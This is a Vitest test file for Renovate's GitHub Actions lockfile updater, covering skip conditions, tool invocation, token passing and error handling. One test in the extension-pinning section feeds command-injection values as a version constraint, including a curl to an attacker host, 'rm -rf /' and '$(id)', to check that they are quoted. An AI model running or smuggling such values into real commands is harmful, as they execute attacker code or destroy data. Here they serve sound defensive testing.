Files
renovate/lib/modules/manager/github-actions/artifacts.spec.ts
T
Sebastian Poxhofer 69e05233e8 feat(manager/github-actions): add workflow depType for reusable workflow calls (#45443)
* feat(manager/github-actions): add `workflow` depType for reusable workflow calls

A job-level `uses:` pointing at `owner/repo/.github/workflows/<file>.yml@<ref>`
calls a reusable workflow rather than running an action, but both got the
`action` depType, so `matchDepTypes` could not tell them apart.

Give a reference whose sub-path is exactly `.github/workflows/<file>.yml|.yaml`
the new `workflow` depType. Every other sub-path, such as
`github/codeql-action/init`, stays an action.

The existing depType-keyed sites now accept both values, so nothing else
changes behaviour: the `actions.lock` file records reusable workflow calls too,
and `helpers:pinGitHubActionDigests` pinned them before this split.

* Apply suggestions from code review

Co-authored-by: Sebastian Poxhofer <secustor@users.noreply.github.com>
2026-08-25 11:52:05 +00:00

867 lines
28 KiB
TypeScript

import { codeBlock } from 'common-tags';
import { mockExecAll } from '~test/exec-util.ts';
import { hostRules } from '~test/host-rules.ts';
import { fs, git, logger, partial } from '~test/util.ts';
import { getConfig } from '../../../config/defaults.ts';
import { GlobalConfig } from '../../../config/global.ts';
import type {
InternalGlobalConfigOptions,
RepoGlobalConfig,
} from '../../../config/types.ts';
import { TEMPORARY_ERROR } from '../../../constants/error-messages.ts';
import type { StatusResult } from '../../../util/git/types.ts';
import type { PackageFile, PostUpdateConfig, Upgrade } from '../types.ts';
import { updateActionsLockfile } from './artifacts.ts';
vi.mock('../../../util/fs/index.ts');
const actionsLock = codeBlock`
# This file is machine-generated by \`gh actions-lock\`.
# Do not edit by hand; run \`gh actions-lock\` to update.
# Docs: https://gh.io/actions-lockfile
version: 'v0.0.2'
workflows:
'.github/workflows/ci.yml':
- 'actions/checkout@v4.3.1'
- 'actions/setup-go@v5.6.0'
'.github/workflows/dependency-review.yml':
- 'actions/checkout@v4.3.1'
- 'actions/dependency-review-action@v4.9.0'
'.github/workflows/release.yml':
- 'actions/checkout@v6.0.2'
dependencies:
'actions/checkout@v4.3.1':
ref: 'v4.3.1'
commit: 'sha1-34e114876b0b11c390a56381ad16ebd13914f8d5'
owner_id: 44036562
repo_id: 197814629
'actions/checkout@v6.0.2':
ref: 'v6.0.2'
commit: 'sha1-de0fac2e4500dabe0009e67214ff5f5447ce83dd'
owner_id: 44036562
repo_id: 197814629
'actions/dependency-review-action@v4.9.0':
ref: 'v4.9.0'
commit: 'sha1-2031cfc080254a8a887f58cffee85186f0e49e48'
owner_id: 44036562
repo_id: 476372928
'actions/setup-go@v5.6.0':
ref: 'v5.6.0'
commit: 'sha1-40f1582b2485089dde7abd97c1529aa768e1baff'
owner_id: 44036562
repo_id: 192624594
`;
const packageFileName = '.github/workflows/ci.yml';
const releaseFileName = '.github/workflows/release.yml';
const lockFile = '.github/workflows/actions.lock';
const adminConfig: RepoGlobalConfig & InternalGlobalConfigOptions = {
localDir: '/tmp/github/some/repo',
cacheDir: '/tmp/cache',
};
const checkoutUpgrade: Upgrade = {
manager: 'github-actions',
packageFile: packageFileName,
depType: 'action',
depName: 'actions/checkout',
currentValue: 'v4.3.1',
newValue: 'v4.4.0',
};
const packageFiles: Record<string, PackageFile[]> = {
'github-actions': [partial<PackageFile>({ packageFile: packageFileName })],
};
const twoWorkflows: Record<string, PackageFile[]> = {
'github-actions': [
partial<PackageFile>({ packageFile: packageFileName }),
partial<PackageFile>({ packageFile: releaseFileName }),
],
};
/** As the tool marks the workflows it manages. */
function annotate(content: string): string {
return `# This workflow is managed by gh actions-lock.\n${content}`;
}
function makeConfig(
overrides: Partial<PostUpdateConfig> = {},
): PostUpdateConfig {
return partial<PostUpdateConfig>({
upgrades: [checkoutUpgrade],
updatedPackageFiles: [
{ type: 'addition', path: packageFileName, contents: 'updated workflow' },
],
// Mirrors production, where config is resolved against the shipped defaults.
constraints: getConfig().constraints,
...overrides,
});
}
/** What `git` reports as modified once the tool has run. */
function mockRepoStatus(
modified: string[] = [lockFile, packageFileName],
): void {
git.getRepoStatus.mockResolvedValue(partial<StatusResult>({ modified }));
}
/** The tool regenerated the lockfile and left the workflows alone. */
function mockLockfileRegenerated(): void {
fs.readLocalFile
.mockResolvedValueOnce(actionsLock)
.mockResolvedValueOnce(`${actionsLock}# updated\n`)
.mockResolvedValueOnce('updated workflow');
mockRepoStatus();
}
describe('modules/manager/github-actions/artifacts', () => {
beforeEach(() => {
GlobalConfig.set(adminConfig);
});
afterEach(() => {
vi.unstubAllEnvs();
});
describe('skipping', () => {
it.each`
given | packageFiles
${'absent'} | ${undefined}
${'empty'} | ${{}}
`(
'does nothing when the branch package files are $given',
async ({
packageFiles,
}: {
packageFiles: Record<string, PackageFile[]> | undefined;
}) => {
const execSnapshots = mockExecAll();
const res = await updateActionsLockfile(makeConfig(), packageFiles);
expect(res).toEqual({ updatedArtifacts: [], artifactErrors: [] });
expect(execSnapshots).toBeEmptyArray();
expect(fs.readLocalFile).not.toHaveBeenCalled();
},
);
it('does nothing when artifact updates are skipped', async () => {
const execSnapshots = mockExecAll();
// `:disableLockFiles` must keep the tool away from the lockfile, as it does for every other manager's artifacts
const res = await updateActionsLockfile(
makeConfig({ skipArtifactsUpdate: true }),
packageFiles,
);
expect(res).toEqual({ updatedArtifacts: [], artifactErrors: [] });
expect(execSnapshots).toBeEmptyArray();
expect(fs.readLocalFile).not.toHaveBeenCalled();
});
it('does nothing when the repo has no lockfile', async () => {
const execSnapshots = mockExecAll();
fs.readLocalFile.mockResolvedValueOnce(null);
const res = await updateActionsLockfile(makeConfig(), packageFiles);
expect(res.updatedArtifacts).toBeEmptyArray();
expect(execSnapshots).toBeEmptyArray();
expect(fs.writeLocalFile).not.toHaveBeenCalled();
});
it('warns and skips when the lockfile cannot be parsed', async () => {
const execSnapshots = mockExecAll();
fs.readLocalFile.mockResolvedValueOnce('workflows: [a, b]');
const res = await updateActionsLockfile(makeConfig(), packageFiles);
expect(res.updatedArtifacts).toBeEmptyArray();
expect(execSnapshots).toBeEmptyArray();
// a reshaped `workflows:` must be loud, not silently disable the feature
expect(logger.logger.warn).toHaveBeenCalled();
});
it('does nothing when no locked dependency was updated', async () => {
const execSnapshots = mockExecAll();
fs.readLocalFile.mockResolvedValueOnce(actionsLock);
const res = await updateActionsLockfile(
makeConfig({
upgrades: [
{ ...checkoutUpgrade, depType: 'container', depName: 'node' },
],
}),
packageFiles,
);
expect(res.updatedArtifacts).toBeEmptyArray();
expect(execSnapshots).toBeEmptyArray();
});
it('ignores upgrades from other managers, or with no package file', async () => {
const execSnapshots = mockExecAll();
fs.readLocalFile.mockResolvedValueOnce(actionsLock);
const res = await updateActionsLockfile(
makeConfig({
upgrades: [
{ ...checkoutUpgrade, manager: 'npm' },
{ ...checkoutUpgrade, packageFile: undefined },
],
}),
packageFiles,
);
expect(res.updatedArtifacts).toBeEmptyArray();
expect(execSnapshots).toBeEmptyArray();
});
it('ignores a workflow that is not onboarded to the lockfile', async () => {
const execSnapshots = mockExecAll();
fs.readLocalFile.mockResolvedValueOnce(actionsLock);
const res = await updateActionsLockfile(
makeConfig({
upgrades: [
{
...checkoutUpgrade,
packageFile: '.github/workflows/not-onboarded.yml',
},
],
}),
packageFiles,
);
expect(res.updatedArtifacts).toBeEmptyArray();
expect(execSnapshots).toBeEmptyArray();
});
it.each`
packageFile
${'workflow-templates/ci.yml'}
${'.gitea/workflows/ci.yml'}
${'.forgejo/workflows/ci.yml'}
${'.gitea/actions/build/action.yml'}
`(
'ignores $packageFile, which the tool never reads',
async ({ packageFile }: { packageFile: string }) => {
const execSnapshots = mockExecAll();
fs.readLocalFile.mockResolvedValueOnce(actionsLock);
const res = await updateActionsLockfile(
makeConfig({ upgrades: [{ ...checkoutUpgrade, packageFile }] }),
packageFiles,
);
expect(res.updatedArtifacts).toBeEmptyArray();
expect(execSnapshots).toBeEmptyArray();
},
);
it('runs for a local composite action, which the lockfile does not key', async () => {
const execSnapshots = mockExecAll();
mockLockfileRegenerated();
// composite actions are transitive deps of an onboarded workflow, so the tool decides whether anything changes
const res = await updateActionsLockfile(
makeConfig({
upgrades: [
{
...checkoutUpgrade,
packageFile: '.github/actions/build/action.yml',
},
],
}),
packageFiles,
);
expect(res.updatedArtifacts).toHaveLength(1);
expect(execSnapshots).toHaveLength(2);
});
it('runs for a reusable workflow call', async () => {
const execSnapshots = mockExecAll();
mockLockfileRegenerated();
// the lockfile records `OWNER/REPO@REF` pins, and a reusable workflow call is one
const res = await updateActionsLockfile(
makeConfig({
upgrades: [{ ...checkoutUpgrade, depType: 'workflow' }],
}),
packageFiles,
);
expect(res.updatedArtifacts).toHaveLength(1);
expect(execSnapshots).toHaveLength(2);
});
it('runs for a `docker://` uses dep', async () => {
const execSnapshots = mockExecAll();
mockLockfileRegenerated();
const res = await updateActionsLockfile(
makeConfig({
upgrades: [{ ...checkoutUpgrade, depType: 'docker' }],
}),
packageFiles,
);
expect(res.updatedArtifacts).toHaveLength(1);
expect(execSnapshots).toHaveLength(2);
});
it('runs for a local composite action when the lockfile has onboarded nothing', async () => {
const execSnapshots = mockExecAll();
fs.readLocalFile
.mockResolvedValueOnce("version: 'v0.0.2'\nworkflows: {}\n")
.mockResolvedValueOnce("version: 'v0.0.2'\nworkflows: {}\n# updated\n")
.mockResolvedValueOnce('updated workflow');
mockRepoStatus();
// a composite action isn't keyed by `workflows:`, so it still runs even when that key is missing entirely
const res = await updateActionsLockfile(
makeConfig({
upgrades: [
{
...checkoutUpgrade,
packageFile: '.github/actions/build/action.yml',
},
],
}),
packageFiles,
);
expect(res.updatedArtifacts).toHaveLength(1);
expect(execSnapshots).toHaveLength(2);
});
});
describe('regenerating', () => {
it('runs the tool once and returns the lockfile', async () => {
const execSnapshots = mockExecAll();
mockLockfileRegenerated();
const res = await updateActionsLockfile(makeConfig(), packageFiles);
expect(res.updatedArtifacts).toEqual([
{
type: 'addition',
path: lockFile,
contents: `${actionsLock}# updated\n`,
},
]);
// runs from the repo root, since the tool re-resolves every workflow
expect(execSnapshots).toMatchObject([
{
cmd: 'gh extension install github/gh-actions-lock --force --pin v0.1.6',
options: { cwd: '/tmp/github/some/repo' },
},
{
cmd: 'gh actions-lock --no-interactive --no-narrow --no-migrate-local-actions',
options: { cwd: '/tmp/github/some/repo' },
},
]);
});
it('flushes every updated package file before running the tool', async () => {
mockExecAll();
fs.readLocalFile
.mockResolvedValueOnce(actionsLock)
.mockResolvedValueOnce(`${actionsLock}# updated\n`)
.mockResolvedValueOnce('updated ci')
.mockResolvedValueOnce('updated release');
mockRepoStatus([lockFile, packageFileName, releaseFileName]);
await updateActionsLockfile(
makeConfig({
updatedPackageFiles: [
{ type: 'addition', path: packageFileName, contents: 'updated ci' },
{
type: 'addition',
path: releaseFileName,
contents: 'updated release',
},
],
}),
twoWorkflows,
);
// the whole branch has to be on disk, or the tool rebuilds the lockfile from pre-update content
expect(fs.writeLocalFile).toHaveBeenCalledWith(
packageFileName,
'updated ci',
);
expect(fs.writeLocalFile).toHaveBeenCalledWith(
releaseFileName,
'updated release',
);
});
it('leaves package files from other managers alone', async () => {
mockExecAll();
mockLockfileRegenerated();
await updateActionsLockfile(
makeConfig({
updatedPackageFiles: [
{
type: 'addition',
path: packageFileName,
contents: 'updated workflow',
},
// a branch can group updates from other managers, whose contents can be binary
{
type: 'addition',
path: 'gradle/wrapper/gradle-wrapper.jar',
contents: Buffer.from([0x50, 0x4b, 0x03, 0x04]),
},
],
}),
packageFiles,
);
expect(fs.writeLocalFile).toHaveBeenCalledExactlyOnceWith(
packageFileName,
'updated workflow',
);
});
it('returns workflows that the tool annotated', async () => {
mockExecAll();
fs.readLocalFile
.mockResolvedValueOnce(actionsLock)
.mockResolvedValueOnce(`${actionsLock}# updated\n`)
.mockResolvedValueOnce(annotate('updated workflow'));
mockRepoStatus();
const res = await updateActionsLockfile(makeConfig(), packageFiles);
expect(res.updatedArtifacts).toMatchObject([
{ path: lockFile },
{ path: packageFileName, contents: annotate('updated workflow') },
]);
});
it('returns a workflow the branch did not update but the tool annotated', async () => {
mockExecAll();
fs.readLocalFile
.mockResolvedValueOnce(actionsLock)
.mockResolvedValueOnce(`${actionsLock}# updated\n`)
.mockResolvedValueOnce('updated workflow')
.mockResolvedValueOnce(annotate('release workflow'));
mockRepoStatus([lockFile, packageFileName, releaseFileName]);
// the tool re-annotates every onboarded workflow, so an edit to one this branch never touched still has to be committed
const res = await updateActionsLockfile(makeConfig(), twoWorkflows);
expect(res.updatedArtifacts).toMatchObject([
{ path: lockFile },
{ path: releaseFileName, contents: annotate('release workflow') },
]);
});
it('leaves files this manager does not own to their own manager', async () => {
mockExecAll();
fs.readLocalFile
.mockResolvedValueOnce(actionsLock)
.mockResolvedValueOnce(`${actionsLock}# updated\n`)
.mockResolvedValueOnce('updated workflow');
mockRepoStatus([lockFile, packageFileName, 'package-lock.json']);
const res = await updateActionsLockfile(makeConfig(), packageFiles);
expect(res.updatedArtifacts).toMatchObject([{ path: lockFile }]);
expect(fs.readLocalFile).not.toHaveBeenCalledWith(
'package-lock.json',
'utf8',
);
});
it('returns nothing when the lockfile is unchanged', async () => {
mockExecAll();
fs.readLocalFile
.mockResolvedValueOnce(actionsLock)
.mockResolvedValueOnce(actionsLock)
.mockResolvedValueOnce('updated workflow');
mockRepoStatus();
const res = await updateActionsLockfile(makeConfig(), packageFiles);
expect(res.updatedArtifacts).toBeEmptyArray();
});
it('returns nothing when the lockfile disappeared', async () => {
mockExecAll();
fs.readLocalFile
.mockResolvedValueOnce(actionsLock)
.mockResolvedValueOnce(null)
.mockResolvedValueOnce('updated workflow');
mockRepoStatus();
const res = await updateActionsLockfile(makeConfig(), packageFiles);
expect(res.updatedArtifacts).toBeEmptyArray();
});
it('ignores an unreadable workflow', async () => {
mockExecAll();
fs.readLocalFile
.mockResolvedValueOnce(actionsLock)
.mockResolvedValueOnce(`${actionsLock}# updated\n`)
.mockResolvedValueOnce(null);
mockRepoStatus();
const res = await updateActionsLockfile(makeConfig(), packageFiles);
expect(res.updatedArtifacts).toMatchObject([{ path: lockFile }]);
});
it('ignores deletions among the updated package files', async () => {
mockExecAll();
fs.readLocalFile
.mockResolvedValueOnce(actionsLock)
.mockResolvedValueOnce(`${actionsLock}# updated\n`);
mockRepoStatus([lockFile]);
const res = await updateActionsLockfile(
makeConfig({
updatedPackageFiles: [{ type: 'deletion', path: packageFileName }],
}),
packageFiles,
);
expect(fs.writeLocalFile).not.toHaveBeenCalled();
expect(res.updatedArtifacts).toHaveLength(1);
});
it('runs when there are no updated package files to flush', async () => {
mockExecAll();
fs.readLocalFile
.mockResolvedValueOnce(actionsLock)
.mockResolvedValueOnce(`${actionsLock}# updated\n`);
mockRepoStatus([lockFile]);
const res = await updateActionsLockfile(
makeConfig({ updatedPackageFiles: undefined }),
packageFiles,
);
expect(fs.writeLocalFile).not.toHaveBeenCalled();
expect(res.updatedArtifacts).toHaveLength(1);
});
});
describe('extension pinning', () => {
it('honours an overridden `ghActionsLock` constraint', async () => {
const execSnapshots = mockExecAll();
mockLockfileRegenerated();
await updateActionsLockfile(
makeConfig({ constraints: { ghActionsLock: 'v0.1.7-rc.1' } }),
packageFiles,
);
expect(execSnapshots[0].cmd).toBe(
'gh extension install github/gh-actions-lock --force --pin v0.1.7-rc.1',
);
});
it.each`
constraint | quoted
${'v1 && curl https://attacker.example'} | ${"'v1 && curl https://attacker.example'"}
${'v1; rm -rf /'} | ${"'v1; rm -rf /'"}
${'$(id)'} | ${"'$(id)'"}
${"v1'"} | ${"'v1'\"'\""}
`(
'quotes $constraint so it cannot escape the command',
async ({
constraint,
quoted,
}: {
constraint: string;
quoted: string;
}) => {
const execSnapshots = mockExecAll();
mockLockfileRegenerated();
await updateActionsLockfile(
makeConfig({ constraints: { ghActionsLock: constraint } }),
packageFiles,
);
expect(execSnapshots[0].cmd).toBe(
`gh extension install github/gh-actions-lock --force --pin ${quoted}`,
);
},
);
it('installs the latest when the constraint is set empty', async () => {
const execSnapshots = mockExecAll();
mockLockfileRegenerated();
// the pin has a default which `constraints: {}` cannot remove, since `constraints` is mergeable.
// An empty value is the way to opt out.
await updateActionsLockfile(
makeConfig({ constraints: { ghActionsLock: '' } }),
packageFiles,
);
expect(execSnapshots[0].cmd).toBe(
'gh extension install github/gh-actions-lock --force',
);
});
it('does not touch the extension with `binarySource=global`', async () => {
GlobalConfig.set({ ...adminConfig, binarySource: 'global' });
const execSnapshots = mockExecAll();
mockLockfileRegenerated();
await updateActionsLockfile(makeConfig(), packageFiles);
// the administrator owns the extension, so we must not re-pin it
expect(execSnapshots).toMatchObject([
{
cmd: 'gh actions-lock --no-interactive --no-narrow --no-migrate-local-actions',
},
]);
// ... but say so, since the constraint is silently inert otherwise
expect(logger.logger.once.debug).toHaveBeenCalledWith(
{ constraint: 'v0.1.6' },
expect.stringContaining('ignoring `constraints.ghActionsLock`'),
);
});
});
describe('tooling and credentials', () => {
it('passes the `gh` constraint through to the tool install', async () => {
vi.stubEnv('CONTAINERBASE', 'true');
GlobalConfig.set({ ...adminConfig, binarySource: 'install' });
const execSnapshots = mockExecAll();
mockLockfileRegenerated();
await updateActionsLockfile(
makeConfig({
constraints: { ...getConfig().constraints, gh: '2.62.0' },
}),
packageFiles,
);
expect(execSnapshots.map((s) => s.cmd)).toContain(
'install-tool gh 2.62.0',
);
});
it('passes a github.com token as `GH_TOKEN`', async () => {
const execSnapshots = mockExecAll();
hostRules.add({
hostType: 'github',
matchHost: 'api.github.com',
token: 'some-token',
});
mockLockfileRegenerated();
await updateActionsLockfile(makeConfig(), packageFiles);
expect(execSnapshots[0].options?.env).toMatchObject({
GH_TOKEN: 'some-token',
});
});
it('passes a GHES token as `GH_ENTERPRISE_TOKEN` with `GH_HOST`', async () => {
GlobalConfig.set({
...adminConfig,
platform: 'github',
endpoint: 'https://github.example.com/api/v3/',
});
const execSnapshots = mockExecAll();
hostRules.add({
hostType: 'github',
matchHost: 'github.example.com',
token: 'ghes-token',
});
mockLockfileRegenerated();
await updateActionsLockfile(makeConfig(), packageFiles);
expect(execSnapshots[0].options?.env).toMatchObject({
GH_HOST: 'github.example.com',
GH_ENTERPRISE_TOKEN: 'ghes-token',
});
expect(execSnapshots[0].options?.env).not.toHaveProperty('GH_TOKEN');
});
it('also passes a github.com token on GHES, for public actions', async () => {
GlobalConfig.set({
...adminConfig,
platform: 'github',
endpoint: 'https://github.example.com/api/v3/',
});
const execSnapshots = mockExecAll();
hostRules.add({
hostType: 'github',
matchHost: 'github.example.com',
token: 'ghes-token',
});
hostRules.add({
hostType: 'github',
matchHost: 'api.github.com',
token: 'dot-com-token',
});
mockLockfileRegenerated();
await updateActionsLockfile(makeConfig(), packageFiles);
// the tool resolves `actions/checkout` against github.com even from a GHES repository, and unauthenticated requests are rate limited hard
expect(execSnapshots[0].options?.env).toMatchObject({
GH_HOST: 'github.example.com',
GH_ENTERPRISE_TOKEN: 'ghes-token',
GH_TOKEN: 'dot-com-token',
});
});
it('does not let an ambient token shadow the one we resolved', async () => {
vi.stubEnv('GH_TOKEN', 'ambient-token');
const execSnapshots = mockExecAll();
hostRules.add({
hostType: 'github',
matchHost: 'api.github.com',
token: 'some-token',
});
mockLockfileRegenerated();
await updateActionsLockfile(makeConfig(), packageFiles);
expect(execSnapshots[0].options?.env).toMatchObject({
GH_TOKEN: 'some-token',
});
});
it('still passes a github.com token when GHES has none', async () => {
GlobalConfig.set({
...adminConfig,
platform: 'github',
endpoint: 'https://github.example.com/api/v3/',
});
const execSnapshots = mockExecAll();
hostRules.add({
hostType: 'github',
matchHost: 'api.github.com',
token: 'dot-com-token',
});
mockLockfileRegenerated();
await updateActionsLockfile(makeConfig(), packageFiles);
expect(execSnapshots[0].options?.env).toMatchObject({
GH_TOKEN: 'dot-com-token',
});
expect(execSnapshots[0].options?.env).not.toHaveProperty('GH_HOST');
});
it('treats an unparseable endpoint as github.com', async () => {
GlobalConfig.set({
...adminConfig,
platform: 'github',
endpoint: 'not-a-valid-url',
});
const execSnapshots = mockExecAll();
mockLockfileRegenerated();
await updateActionsLockfile(makeConfig(), packageFiles);
// no host to tell `gh` about, so nothing enterprise-specific
expect(execSnapshots[0].options?.env).not.toHaveProperty('GH_HOST');
expect(execSnapshots[0].options?.env).not.toHaveProperty(
'GH_ENTERPRISE_TOKEN',
);
});
it('resolves the token against github.com when the platform is not github', async () => {
GlobalConfig.set({
...adminConfig,
platform: 'gitlab',
endpoint: 'https://gitlab.example.com/',
});
const execSnapshots = mockExecAll();
hostRules.add({
hostType: 'github',
matchHost: 'api.github.com',
token: 'some-token',
});
mockLockfileRegenerated();
await updateActionsLockfile(makeConfig(), packageFiles);
// the configured endpoint isn't a GitHub one, so `gh` still talks to github.com
expect(execSnapshots[0].options?.env).toMatchObject({
GH_TOKEN: 'some-token',
});
expect(execSnapshots[0].options?.env).not.toHaveProperty('GH_HOST');
});
it('runs unauthenticated when no token is configured', async () => {
const execSnapshots = mockExecAll();
mockLockfileRegenerated();
await updateActionsLockfile(makeConfig(), packageFiles);
expect(execSnapshots[0].options?.env).not.toHaveProperty('GH_TOKEN');
expect(logger.logger.debug).toHaveBeenCalledWith(
'No GitHub token found for `gh actions-lock`',
);
});
});
describe('errors', () => {
it('prefers stderr when the tool wrote one', async () => {
const err = new Error('exit 1');
Object.assign(err, { stderr: 'could not resolve actions/checkout' });
mockExecAll(err);
fs.readLocalFile.mockResolvedValueOnce(actionsLock);
const res = await updateActionsLockfile(makeConfig(), packageFiles);
expect(res.artifactErrors).toEqual([
{
fileName: lockFile,
stderr: 'could not resolve actions/checkout',
},
]);
});
it('falls back past an empty stderr so the error is never blank', async () => {
const err = new Error('gh: command failed');
Object.assign(err, { stderr: '', stdout: '' });
mockExecAll(err);
fs.readLocalFile.mockResolvedValueOnce(actionsLock);
const res = await updateActionsLockfile(makeConfig(), packageFiles);
expect(res.artifactErrors[0].stderr).toBe('gh: command failed');
});
it('prefers stdout over an empty stderr', async () => {
const err = new Error('exit 1');
Object.assign(err, { stderr: '', stdout: 'extension not found' });
mockExecAll(err);
fs.readLocalFile.mockResolvedValueOnce(actionsLock);
const res = await updateActionsLockfile(makeConfig(), packageFiles);
expect(res.artifactErrors[0].stderr).toBe('extension not found');
});
it('rethrows a temporary error', async () => {
mockExecAll(new Error(TEMPORARY_ERROR));
fs.readLocalFile.mockResolvedValueOnce(actionsLock);
await expect(
updateActionsLockfile(makeConfig(), packageFiles),
).rejects.toThrow(TEMPORARY_ERROR);
});
});
});